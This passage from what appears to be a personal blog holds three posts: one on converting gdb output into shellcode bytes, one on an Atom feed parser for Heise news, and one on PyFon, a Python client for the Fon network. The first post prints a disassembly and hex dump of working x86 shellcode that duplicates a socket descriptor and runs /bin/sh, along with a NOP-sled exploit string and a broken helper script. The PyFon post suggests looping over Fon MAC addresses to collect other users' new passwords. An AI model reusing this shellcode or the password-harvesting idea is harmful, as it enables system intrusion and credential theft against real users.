0x0804826e <begin+6>:    test   %eax,%eax
0x08048270 <begin+8>:    je     0x8048288 <child>
0x08048272 <parent+0>:    mov    %edi,%eax
0x08048274 <parent+2>:    mov    $0xa2,%al
0x08048276 <parent+4>:    push   $0x11111111
---Type <return> to continue, or q <return> to quit---
0x0804827b <parent+9>:    push   $0x11111111
0x08048280 <parent+14>:    mov    %esp,%ebx
0x08048282 <parent+16>:    mov    %edi,%ecx
0x08048284 <parent+18>:    int    $0x80
0x08048286 <parent+20>:    jmp    0x8048272 <parent>
0x08048288 <child+0>:    mov    -0x204(%esi),%ebx
0x0804828e <child+6>:    mov    %edi,%ecx
0x08048290 <child+8>:    mov    $0x3f,%al
0x08048292 <child+10>:    int    $0x80
0x08048294 <child+12>:    inc    %ecx
0x08048295 <child+13>:    mov    %edi,%eax
0x08048297 <child+15>:    mov    $0x3f,%al
0x08048299 <child+17>:    int    $0x80
0x0804829b <child+19>:    inc    %ecx
0x0804829c <child+20>:    mov    %edi,%eax
0x0804829e <child+22>:    mov    $0x3f,%al
0x080482a0 <child+24>:    int    $0x80
0x080482a2 <execshell+0>:    mov    %edi,%eax
0x080482a4 <execshell+2>:    mov    %al,0x7(%esi)
0x080482a7 <execshell+5>:    push   %eax
0x080482a8 <execshell+6>:    push   %esi
0x080482a9 <execshell+7>:    mov    %edi,%edx
0x080482ab <execshell+9>:    mov    %esp,%ecx
---Type <return> to continue, or q <return> to quit---
0x080482ad <execshell+11>:    mov    %esi,%ebx
0x080482af <execshell+13>:    mov    $0xb,%al
0x080482b1 <execshell+15>:    int    $0x80
0x080482b3 <bottom+0>:    call   0x8048260 <function+12>
0x080482b8 <bottom+5>:    das
0x080482b9 <bottom+6>:    bound  %ebp,0x6e(%ecx)
0x080482bc <bottom+9>:    das
0x080482bd <bottom+10>:    jae    0x8048327 <__floatdisf+55>
0x080482bf <bottom+12>:    inc    %ecx
0x080482c0 <bottom+13>:    ret
End of assembler dump.
(gdb) x/98xb 0x0804825e
0x804825e <function+10>:    0xeb    0x53    0x5e    0x89    0xf4    0x83    0xec    0x78
0x8048266 <function+18>:    0x31    0xff    0x89    0xf8    0x40    0x40    0xcd    0x80
0x804826e <begin+6>:    0x85    0xc0    0x74    0x16    0x89    0xf8    0xb0    0xa2
0x8048276 <parent+4>:    0x68    0x11    0x11    0x11    0x11    0x68    0x11    0x11
0x804827e <parent+12>:    0x11    0x11    0x89    0xe3    0x89    0xf9    0xcd    0x80
0x8048286 <parent+20>:    0xeb    0xea    0x8b    0x9e    0xfc    0xfd    0xff    0xff
0x804828e <child+6>:    0x89    0xf9    0xb0    0x3f    0xcd    0x80    0x41    0x89
0x8048296 <child+14>:    0xf8    0xb0    0x3f    0xcd    0x80    0x41    0x89    0xf8
0x804829e <child+22>:    0xb0    0x3f    0xcd    0x80    0x89    0xf8    0x88    0x46
0x80482a6 <execshell+4>:    0x07    0x50    0x56    0x89    0xfa    0x89    0xe1    0x89
0x80482ae <execshell+12>:    0xf3    0xb0    0x0b    0xcd    0x80    0xe8    0xa8    0xff
0x80482b6 <bottom+3>:    0xff    0xff    0x2f    0x62    0x69    0x6e    0x2f    ---Type <return> to continue, or q <return> to quit---
0x80482be <bottom+11>:    0x68    0x41
(gdb) Quit

And my desired output are the bytes in these strings:

char shcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* First the NOPs*/
 "\xeb\x04"              /* Jump over the ret addr */
 "\x41\x41\x41\x41"        /* wannabe ret addr */
 /* Second NOP slide */
 /* that's the shellcode */

So I built a quick and dirty script which does the conversion and helped me saving a lot of time. Is there any better way of making gdb output the shellcode directly?

#!/usr/bin/env python
import sys
paginator  = '''---Type  to continue, or q  to quit---'''
def convert (to_convert):
    retlines = []
    for line in to_convert.splitlines():
        if line.startswith('--'):
        pos = line.find(":")
        newline_string = line[pos+1:]
        for needle, replacement  in (('\t', ''),
                       ('0x', r'\x'),
                       ('\n', ''),
                       (paginator, '')):
            newline_string = newline_string.replace(needle, replacement)
        retlines.append (newline_string)
    return "".join(retlines)
if __name__ == "__main__":
    to_convert =
    converted = convert (to_convert)
    print converted

Want to take a guess what the shellcode actually does? It’s not too hard to see though.

New Heise Feeds

Even after  Heise updated its CMS it doesn’t deliver Atom Feeds with an abstract. I hope they’ll at least produce well formed XML… As I think the abstracts, which can be found on the main page or the mobile version, are quite handy, I wrote a parser which will generate an Atom feed with the teaser (and not the first paragraph of the article) built in. I couldn’t use MakeMyRSS not just because it prints an ad every month or so, but because I had the requirement to link to the print URLs instead of the web URLs (I don’t have that requirement anymore). But since MakeMyRSS is not free, I liked to have my own solution anyway 🙂 Plus, it’s not written in Bash 😉

You can find the Atom feed at or the parser here. But you’d be better off cloning the repository (hg clone because you can send me patches more easily 😉

You’ll also find a parser for the adminstrative court of Hamburg and for Telepolis. All the news are in German though, but at least the Heise feed should be easily portable for The H

PyFon – Being a Fonero

The problems I described last time, are gone now 🙂 The paramiko mailinglist is, besides the pretty good documentation, a very good information ressource.

So I built a Fon client in Python which allows you to login to the Fon server and make your Fonera officially online.

So in order to get your copy of PyFON, do a

hg clone

To use it, simply give the MAC address of your Foneras wireless interface as an argument and run it or do it in a more sophisticated way:

muelli@xbox:~/hg/pyfon$ python ./src/ --loglevel info --firmware 0.7.2 --revision 3 --mode cron --ethernetmac 00:18:84:fo:ob:ar 00:18:84:fo:ob:ar
INFO:root:Connecting to host: as user: openwrt
INFO:paramiko.transport:Connected (version 2.0, client OpenSSH_4.3p2)
INFO:paramiko.transport:Authentication (publickey) successful!
INFO:root:Connect finished
INFO:paramiko.transport:Secsh channel 1 opened.
INFO:root:Found _auth_string: mode='cron' wlmac='00:18:84:ff:ee:dd' mac='00:18:84:fo:ob:ar' fonrev='3' firmware='0.7.2' chillver='1.0-1' thclver='1.0' device='fonera'

INFO:root:Finally closing everything

If you increase the loglevel to, say, debug, then you’ll get the script which Fon send you and supposes you to execute. If you change your password via the Fon webinterface, you’ll see your new password in that script.

So if you want to disturb the Fon network, you can iterate over all Fon MACs and receive the possible made configuration changes. By that, you’ll get the new passwords as well, of course…

Another funny thing is that the Fon server sends you their banner, if you explicitely request a shell:

In [1]: import pyfonclient
In [2]: c  = pyfonclient.Client()
In [3]: c.connect()
In [4]: channel = c.client.invoke_shell()
In [5]: channel.recv_ready()
Out[5]: True
In [6]: buf=""
In [7]: while channel.recv_ready(): buf += channel.recv(1)
In [8]: print buf
Linux fonesfat02 2.6.18-6-amd64 #1 SMP Sun Feb 10 17:50:19 UTC 2008 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
In [9]:

But you can’t execute any command…

Patches are, as always, welcome 🙂

Creative Commons Attribution-ShareAlike 3.0 Unported
This work by Muelli is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported.